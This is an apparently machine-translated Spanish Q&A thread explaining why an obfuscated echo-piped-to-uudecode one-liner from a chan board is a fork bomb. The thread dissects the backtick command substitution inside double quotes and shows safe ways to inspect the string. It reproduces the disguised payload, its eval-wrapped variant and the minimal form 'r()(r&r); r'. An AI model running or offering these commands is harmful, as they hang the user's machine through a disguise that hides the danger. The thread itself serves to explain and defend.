¿Cómo y por qué esta cadena de texto es una bomba tenedor?

132

Encontrado en un tablero chan aleatorio:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

De alguna manera, ejecutar esto da como resultado un proceso de generación infinita que se ejecuta desenfrenada y detiene la máquina. Veo algo sobre "su" que intenta ser ejecutado en numerosas ocasiones.

... lo cual es extraño, porque solo esperaría que el texto salga, no la ejecución de nada.

Ejecutar este texto a través de un decodificador en línea solo me da un lote de arrojo binario:

resultado de uudecode

¿Qué está haciendo realmente este lío de texto? ¿Hay alguna forma de verlo "con seguridad"?

Mikey TK
fuente
¿Por qué se ejecuta "su" varias veces?
Brent Washburne
34
Un consejo: no ejecutes el código desde paneles chan aleatorios y agradece que solo haya sido una bomba tenedor.
rr-
21
Je Afortunadamente, estaba en una máquina virtual capturada con el propósito expreso de jugar con basura posiblemente hostil como esta.
Mikey TK
1
Vidar Holen, el autor de shellcheck.net escribió una publicación de blog sobre esto en la que afirma ser el autor de esta bomba tenedor y da información de fondo.
Socowi

Respuestas:

194

Primero, veamos todo el comando:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Contiene una cadena entre comillas dobles a la que se hace eco uudecode. Pero, tenga en cuenta que, dentro de la cadena entre comillas dobles hay una cadena entre comillas . Esta cadena se ejecuta . La cadena es:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Si observamos lo que contiene, vemos tres comandos:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Realizando la expansión de llaves en el comando central, tenemos:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

La primera línea intenta ejecutar un comando sin sentido en segundo plano. Esto no es importante.

La segunda línea es importante: define una función rque, cuando se ejecuta, lanza dos copias de sí misma. Cada una de esas copias, por supuesto, lanzaría dos copias más. Y así.

La tercera línea corre r, iniciando la bomba tenedor.

El resto del código, fuera de la cadena entre comillas, no tiene sentido para la ofuscación.

Cómo ejecutar el comando de forma segura

Este código se puede ejecutar de forma segura si establecemos un límite en el nivel de anidación de la función. Esto se puede hacer con la FUNCNESTvariable de bash . Aquí, lo configuramos 2y esto detiene la recursividad:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Los mensajes de error anteriores muestran que (a) los comandos sin sentido rYWdly Y29jno se encuentran, (b) la bomba de horquilla se detiene repetidamente por FUNCNEST, y (c) la salida de echono comienza beginy, en consecuencia, no es una entrada válida para uudecode.

La bomba tenedor en su forma más simple.

¿Cómo sería la bomba tenedor si eliminamos el oscurecimiento? Como sugieren njzk2 y gerrit, se vería así:

echo "`r()(r&r);r`"

Podemos simplificar eso aún más:

r()(r&r); r

Consiste en dos declaraciones: una define la función fork-bomb ry la segunda se ejecuta r.

Todo el otro código, incluida la tubería uudecode, estaba allí solo para el oscurecimiento y la mala dirección.

La forma original tenía otra capa de dirección errónea.

El OP ha proporcionado un enlace a la discusión de la junta directiva en la que apareció este código. Como se presentó allí, el código se veía así:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Observe uno de los primeros comentarios sobre este código:

Me enamoré de eso. Copié solo la parte que hace eco y decodifica, pero aún así se bifurcó

En la forma en el tablero del canal, uno pensaría ingenuamente que el problema sería la evaldeclaración que opera en la salida de uudecode. Esto llevaría a pensar que eliminar eliminaría evalel problema. Como hemos visto anteriormente, esto es falso y peligroso.

John1024
fuente
66
¡Tortuoso! Nunca pensé en considerar el engrosamiento / expansión de la concha en el medio de la cadena con eco.
Mikey TK
31
Creo que sería bueno tener en cuenta que uudecodeaquí es completamente irrelevante. Por un momento pensé que uudecodeestaba realizando una interpolación de cadenas entre comillas que lo volvería fundamentalmente inseguro, pero la bomba de horquilla ocurre antes de que se inicie uudecode.
gerrit
28
... y esto , damas y caballeros, es por eso que la seguridad en los scripts de shell es tan difícil. Incluso cosas totalmente inofensivas pueden matarte. (Imagínese si esto fue aportado por el usuario desde algún lugar ...)
MathematicalOrchid
22
@MathematicalOrchid Realmente se necesita un esfuerzo no trivial para hacer que se ejecuten las cosas con comillas inversas en la entrada del usuario a un script de shell. Y si está construyendo un script de shell a partir de la entrada del usuario, debe saber mejor que ponerlo entre comillas dobles.
Random832
55
@ njzk2 Todavía es necesario un &no: echo "`r()(r&r);r`".
gerrit
10

Para responder a la segunda parte de su pregunta:

... ¿hay alguna manera de verlo "con seguridad"?

Para desactivar esta cadena, reemplace las comillas dobles externas por comillas simples y escape de las comillas simples que ocurren dentro de la cadena. De esta manera, el shell no ejecutará ningún código, y en realidad está pasando todo directamente a uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Se observan otras alternativas en los comentarios:

Kasperd sugirió :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall sugirió usar un editor de texto, pegar el contenido y luego pasar ese archivo a uudecode.

gerrit
fuente
55
Alternativamente: escriba uudecodeen la línea de comando. Presione enter. Copie y pegue la cadena a decodificar.
kasperd
3
Otra alternativa: usar un editor de texto para guardar el contenido en un archivo. Abre ese archivo con uudecode.
Jacob Krall
Gracias a ambos, he anotado esas alternativas en la respuesta.
gerrit
1
¡Asegúrate de comprobar que la cadena no es algo como echo "foo`die`bar'`die`'baz"primero! Es decir, si tiene alguna 's, entonces reemplazar las comillas con comillas simples no será suficiente.
wchargin
5

A primera vista, puede pensar que la salida al shell nunca se ejecutará . Esto sigue siendo cierto . El problema ya está en la entrada . El truco principal aquí es lo que los programadores llaman precedencia del operador . Este es el orden en que el shell intenta procesar su entrada:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Componga la cadena ejecutando todos los comandos de backticks dentro de ella.
  2. Por lo general, un comando desconocido, lo que causaría algún resultado como si 'rYWdl' no es un error tipográfico, puede usar el comando no encontrado para buscar el paquete que lo contiene ... (depende del sistema)
  3. Ejecuta 2. en segundo plano. Nunca verá una salida.
  4. Definir la función de bomba tenedor.
  5. Separador de comandos.
  6. Ejecute la bomba tenedor.
  7. Inserte el resultado de 6. en la Cadena. (Nunca venimos aquí)

El error es pensar que ese echosería el primer comando que se ejecutará, uudecodeel segundo. Ambos nunca serán alcanzados.

Conclusión: las comillas dobles siempre son peligrosas en el shell.

Matthias Ronge
fuente